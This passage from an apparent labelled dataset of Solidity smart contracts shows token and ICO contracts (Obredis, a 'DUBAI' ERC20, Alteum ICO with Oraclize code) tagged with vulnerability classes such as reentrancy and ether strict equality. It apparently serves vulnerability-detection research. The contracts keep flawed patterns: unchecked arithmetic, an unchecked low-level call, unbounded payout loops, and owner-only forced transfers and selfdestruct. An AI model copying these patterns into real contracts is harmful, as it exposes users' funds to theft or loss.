_from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Obredis is StandardToken { string public name; // Token Name uint8 public decimals; // How many decimals the token has string public symbol; // Token identifier address public fundsWallet; // Wallet which manages the contract uint256 public totalRewards; uint256 public newReward; address[] public addresses; mapping (address => bool) public isAddress; bool public allRewPaid; mapping (address => bool) public awaitingRew; event Minted(uint256 qty,uint256 totalSupply); event Burned(uint256 qty,uint256 totalSupply); event Reward(uint256 qty); function Obredis() public { balances[msg.sender] = 0; totalSupply = 0; name = ""Obelisk Reward Token""; decimals = 18; symbol = ""ORT""; allRewPaid = true; awaitingRew[msg.sender] = false; fundsWallet = msg.sender; addresses.push(msg.sender); isAddress[msg.sender] = true; } function() public { } function transfer(address _to, uint256 _value) public canSend returns (bool success) { // Transfer Tokens require(super.transfer(_to,_value)); if (!isAddress[_to]){ addresses.push(_to); isAddress[_to] = true; } // Return success flag return true; } modifier isOwner { require(msg.sender == fundsWallet); _; } modifier canSend { require(allRewPaid); _; } function forceTransfer(address _who, uint256 _qty) public isOwner returns (bool success) { // owner can transfer qty from a wallet (in case your hopeless mates lose their private keys). if (balances[_who] >= _qty && _qty > 0) { balances[_who] -= _qty; balances[fundsWallet] += _qty; Transfer(_who, fundsWallet, _qty); return true; } else { return false; } } function payReward() public payable isOwner canSend { require(msg.value > 0); newReward = this.balance; // the only balance will be the scraps after payout totalRewards += msg.value; // only want to update with new amount Reward(msg.value); allRewPaid = false; uint32 len = uint32(addresses.length); for (uint32 i = 0; i < len ; i++){ awaitingRew[addresses[i]] = true; } } function payAllRewards() public isOwner { require(allRewPaid == false); uint32 len = uint32(addresses.length); for (uint32 i = 0; i < len ; i++){ if (balances[addresses[i]] == 0){ awaitingRew[addresses[i]] = false; } else if (awaitingRew[addresses[i]]) { addresses[i].transfer((newReward*balances[addresses[i]])/totalSupply); awaitingRew[addresses[i]] = false; } } allRewPaid = true; } function paySomeRewards(uint32 _first, uint32 _last) public isOwner { require(_first <= _last); require(_last <= addresses.length); for (uint32 i = _first; i<= _last; i++) { if (balances[addresses[i]] == 0){ awaitingRew[addresses[i]] = false; } else if (awaitingRew[addresses[i]]) { addresses[i].transfer((newReward*balances[addresses[i]])/totalSupply); awaitingRew[addresses[i]] = false; } } allRewPaid = checkAllRewPaid(); } function checkAllRewPaid() public view returns(bool success) { uint32 len = uint32(addresses.length); for (uint32 i = 0; i < len ; i++ ){ if (awaitingRew[addresses[i]]){ return false; } } return true; } function updateAllRewPaid() public isOwner { allRewPaid = checkAllRewPaid(); } function mint(uint256 _qty) public canSend isOwner { require(totalSupply + _qty > totalSupply); // Prevents overflow totalSupply += _qty; balances[fundsWallet] += _qty; Minted(_qty,totalSupply); Transfer(0x0, fundsWallet, _qty); } function burn(uint256 _qty) public canSend isOwner { require(totalSupply - _qty < totalSupply); // Prevents underflow require(balances[fundsWallet] >= _qty); totalSupply -= _qty; balances[fundsWallet] -= _qty; Burned(_qty,totalSupply); Transfer(fundsWallet, 0x0, _qty); } function collectOwnRew() public { if(awaitingRew[msg.sender]){ msg.sender.transfer((newReward*balances[msg.sender])/totalSupply); awaitingRew[msg.sender] = false; } allRewPaid = checkAllRewPaid(); } function addressesLength() public view returns(uint32 len){ return uint32(addresses.length); } function kill() public isOwner { // Too much money involved to not have a fire exit selfdestruct(fundsWallet); } }",./Dataset/ether strict equality (SE),3,3 31873.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000000000000000; // Update total supply (100000 for example) name = ""DUBAI""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""DUBAI""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x01805928b325078683818329526dab3f74865e10_AumICO.sol,"pragma solidity ^0.4.18; /************************************************************** * * Alteum ICO * Author: Lex Garza * by ALTEUM / Copanga * **************************************************************/ contract ERC223 { uint public totalSupply; function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); function transferFrom(address from, address to, uint value) public returns(bool); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /* * Safe Math Library from Zeppelin Solidity * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } } // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName(""eth_mainnet""); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName(""eth_ropsten3""); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName(""eth_kovan""); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName(""eth_rinkeby""); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 